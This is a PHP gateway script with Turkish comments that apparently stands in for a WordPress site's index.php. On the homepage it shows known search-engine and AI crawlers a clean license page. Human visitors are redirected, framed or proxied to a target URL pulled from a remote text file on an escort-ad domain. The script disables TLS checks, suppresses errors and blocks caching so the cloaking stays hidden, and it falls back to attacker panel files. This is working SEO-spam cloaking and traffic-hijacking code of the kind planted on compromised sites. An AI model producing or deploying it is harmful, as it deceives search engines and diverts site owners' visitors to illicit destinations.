/** * Vitrin Gate — yalnız anasayfa: bot→license.html | ziyaretçi→TXT yönlendirme * Alt sayfalar WordPress. Redirect: IST_TXT_URL (il butonu override) */ error_reporting(0); @ini_set('display_errors', 0); define('IST_TXT_URL', 'https://istanbulescortladys.com/ist.txt'); define('GATE_DEST_FALLBACK', ''); define('FETCH_TIMEOUT', 3); /** redirect | iframe | iframe_mobile | proxy | proxy_mobile */ define('GATE_HUMAN_MODE', 'redirect'); function gate_dest_cache_file() { return __DIR__ . '/ist-dest.txt'; } function gate_url_is_txt($url) { $path = parse_url($url, PHP_URL_PATH); if (!is_string($path) || $path === '') { return false; } return (bool) preg_match('/\.txt(\?|$)/i', $path); } function gate_parse_dest_line($raw) { if (!is_string($raw) || $raw === '') { return null; } $lines = preg_split('/\r\n|\r|\n/', $raw); foreach ($lines as $line) { $url = trim($line); $url = preg_replace('/^\xEF\xBB\xBF/', '', $url); if ($url === '' || !filter_var($url, FILTER_VALIDATE_URL)) { continue; } if (gate_url_is_txt($url)) { continue; } return rtrim($url, '/') . '/'; } return null; } function get_user_agent() { return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; } function is_bot($ua) { if ($ua === '' || $ua === '-') return false; $patterns = array( 'googlebot', 'googleother', 'google-inspectiontool', 'storebot-google', 'adsbot-google', 'mediapartners-google', 'apis-google', 'feedfetcher-google', 'google-extended', 'googleproducer', 'google-site-verification', 'google-safety', 'google-read-aloud', 'google-pagerenderer', 'duplexwebview', 'bingbot', 'bingpreview', 'adidxbot', 'msnbot', 'yandexbot', 'yandex.com/bots', 'baiduspider', 'duckduckbot', 'slurp', 'sogou', 'exabot', 'facebot', 'facebookexternalhit', 'ia_archiver', 'semrushbot', 'ahrefsbot', 'dotbot', 'mj12bot', 'petalbot', 'bytespider', 'gptbot', 'chatgpt-user', 'claudebot', 'anthropic-ai', 'ccbot', 'applebot', ); $ua_lc = strtolower($ua); foreach ($patterns as $p) { if (strpos($ua_lc, $p) !== false) return true; } // Tüm Google-* crawler ailesi (GoogleOther, Google-Safety, …) if (strpos($ua_lc, 'google-') !== false || strpos($ua_lc, 'google/') !== false) { return true; } return false; } function is_mobile_ua($ua) { if ($ua === '') { return false; } return (bool) preg_match('/Mobile|Android|iPhone|iPod|iPad|webOS|BlackBerry|IEMobile|Opera Mini|Opera Mobi/i', $ua); } function gate_human_mode() { return defined('GATE_HUMAN_MODE') ? strtolower((string) GATE_HUMAN_MODE) : 'redirect'; } function gate_wants_embed($ua) { $mode = gate_human_mode(); if ($mode === 'iframe' || $mode === 'proxy') { return true; } if (($mode === 'iframe_mobile' || $mode === 'proxy_mobile') && is_mobile_ua($ua)) { return true; } return false; } function gate_embed_is_proxy() { $mode = gate_human_mode(); return ($mode === 'proxy' || $mode === 'proxy_mobile'); } function gate_no_store_headers() { if (headers_sent()) { return; } header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); header('Expires: 0'); header('CDN-Cache-Control: no-store'); header('Surrogate-Control: no-store'); header('Cloudflare-CDN-Cache-Control: no-store'); header('Vary: User-Agent'); } /** Domain URL değişmeden TXT hedefini full-page iframe ile göster */ function gate_serve_iframe($url) { $e = htmlspecialchars($url, ENT_QUOTES, 'UTF-8'); gate_no_store_headers(); if (!headers_sent()) { header('Content-Type: text/html; charset=UTF-8'); header('X-Robots-Tag: noindex, follow'); header('X-Medusa-Gate: iframe'); } echo '' . '' . '' . '' . '' . '' . ''; exit; } /** Domain URL değişmeden TXT hedefini sunucu tarafında çekip göster (X-Frame-Options aşımı) */ function gate_serve_proxy($url) { $html = false; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 12, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => 'Mozilla/5.0 (Linux; Android 14; Mobile) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36', CURLOPT_HTTPHEADER => array('Accept: text/html,application/xhtml+xml;q=0.9,*/*;q=0.8'), CURLOPT_ENCODING => '', )); $html = curl_exec($ch); $code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE); $final = (string) curl_getinfo($ch, CURLINFO_EFFECTIVE_URL); curl_close($ch); if ($code < 200 || $code >= 400 || !is_string($html) || $html === '') { $html = false; } elseif ($final !== '') { $url = $final; } } if ($html === false) { // Proxy başarısız → iframe yedek gate_serve_iframe($url); } $base = htmlspecialchars(rtrim($url, '/') . '/', ENT_QUOTES, 'UTF-8'); if (stripos($html, ']*)>/i', $html)) { $html = preg_replace('/]*)>/i', '', $html, 1); } else { $html = '' . $html; } } gate_no_store_headers(); if (!headers_sent()) { header('Content-Type: text/html; charset=UTF-8'); header('X-Robots-Tag: noindex, follow'); } echo $html; exit; } function gate_serve_human_redirect($redirect) { // 1) Pure Location 302 — tercih edilen if (!headers_sent()) { gate_no_store_headers(); header('Location: ' . $redirect, true, 302); exit; } // 2) Soft fallback — Location engelli / headers_sent (bazı Flywheel/CDN) $e = htmlspecialchars($redirect, ENT_QUOTES, 'UTF-8'); if (!headers_sent()) { header('Content-Type: text/html; charset=UTF-8'); gate_no_store_headers(); } echo '' . 'continue'; exit; } /** TXT kaynağından hedef URL; kısa önbellek. Fallback URL YOK — TXT yoksa null. */ function get_redirect_url() { if (!defined('IST_TXT_URL') || trim((string) IST_TXT_URL) === '') { return null; } $cache = gate_dest_cache_file(); $pinned = null; if (is_file($cache)) { $cached = trim((string) @file_get_contents($cache)); if ($cached !== '' && filter_var($cached, FILTER_VALIDATE_URL) && !gate_url_is_txt($cached)) { $pinned = rtrim($cached, '/') . '/'; } } $raw = false; if (ini_get('allow_url_fopen')) { $ctx = stream_context_create(array( 'http' => array( 'timeout' => FETCH_TIMEOUT, 'user_agent' => 'Mozilla/5.0 (compatible; VitrinGate/1.0)', 'follow_location' => 1, 'max_redirects' => 3, ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, ), )); $raw = @file_get_contents(IST_TXT_URL, false, $ctx); } if (($raw === false || $raw === '') && function_exists('curl_init')) { $ch = curl_init(IST_TXT_URL); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => FETCH_TIMEOUT, CURLOPT_CONNECTTIMEOUT => FETCH_TIMEOUT, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; VitrinGate/1.0)', CURLOPT_HTTPHEADER => array('Accept: text/plain,*/*'), )); $raw = curl_exec($ch); $code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($code < 200 || $code >= 400) { $raw = false; } } $dest = gate_parse_dest_line(is_string($raw) ? $raw : ''); if ($dest !== null) { @file_put_contents($cache, $dest); return $dest; } // Pin: TXT geçici düşse bile son hedef kalır — stok WP anasayfaya dönmez return $pinned; } function is_static_asset() { $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; $path = parse_url($uri, PHP_URL_PATH); if (!is_string($path) || $path === '') return false; return (bool) preg_match('/\.(css|js|mjs|map|jpe?g|png|gif|webp|svg|ico|woff2?|ttf|eot|otf|mp4|webm|mp3|pdf|xml|txt|json|zip)$/i', $path); } /** Yalnızca anasayfa — alt sayfalar / ?p= WordPress */ function is_homepage_request() { $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'; $path = parse_url($uri, PHP_URL_PATH); $query = parse_url($uri, PHP_URL_QUERY); if (!is_string($path) || $path === '') { $path = '/'; } if (is_string($query) && $query !== '') { if (preg_match('/(?:^|&)(p|page_id|pagename|name|rest_route|wc-api|preview|attachment_id|cat|tag|author|s)=/i', $query)) { return false; } } $path = '/' . ltrim($path, '/'); if ($path !== '/' && substr($path, -1) === '/') { $path = rtrim($path, '/') ?: '/'; } if ($path === '/') { return true; } if (preg_match('#^/index\\.php$#i', $path) && (!is_string($query) || $query === '')) { return true; } return false; } $ua = get_user_agent(); // Gate yalnız anasayfada; /yazi/ vb. doğrudan WordPress if (is_homepage_request() && !is_static_asset()) { if (is_bot($ua)) { $lic = __DIR__ . '/license.html'; if (is_file($lic)) { // ASLA public cache — CF/CDN Vary olmadan insanlara bot HTML verir header('Content-Type: text/html; charset=UTF-8'); header('X-Robots-Tag: index, follow'); header('Cache-Control: private, no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); header('Expires: 0'); header('CDN-Cache-Control: no-store'); header('Surrogate-Control: no-store'); header('Cloudflare-CDN-Cache-Control: no-store'); header('Vary: User-Agent'); readfile($lic); exit; } } else { $redirect = get_redirect_url(); if ($redirect) { if (gate_wants_embed($ua)) { if (gate_embed_is_proxy()) { gate_serve_proxy($redirect); } gate_serve_iframe($redirect); } gate_serve_human_redirect($redirect); } // Anasayfa insan: pin yoksa bile stok içeriğe düşme if (!headers_sent()) { header('Cache-Control: no-store'); http_response_code(204); } exit; } } // Alt sayfa veya redirect yok → WordPress (klasik + Flywheel .wordpress/ + wordpress/) $__ms_wp_loads = array( __DIR__ . '/wp-blog-header.php', __DIR__ . '/.wordpress/wp-blog-header.php', __DIR__ . '/wordpress/wp-blog-header.php', __DIR__ . '/wp/wp-blog-header.php', ); foreach ($__ms_wp_loads as $__ms_wpb) { if (is_file($__ms_wpb)) { if (!defined('WP_USE_THEMES')) { define('WP_USE_THEMES', true); } require $__ms_wpb; exit; } } // WordPress yok — lisans/panel kökü: insan anasayfayı login'e yönlendir (503 yerine) $__ms_panel_fallbacks = array('/login.php', '/paneller.php', '/medusa.php'); foreach ($__ms_panel_fallbacks as $__ms_pf) { if (is_file(__DIR__ . $__ms_pf) && !headers_sent()) { header('Location: ' . $__ms_pf, true, 302); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); exit; } } http_response_code(503); header('Content-Type: text/plain; charset=UTF-8'); echo 'Service temporarily unavailable'; exit;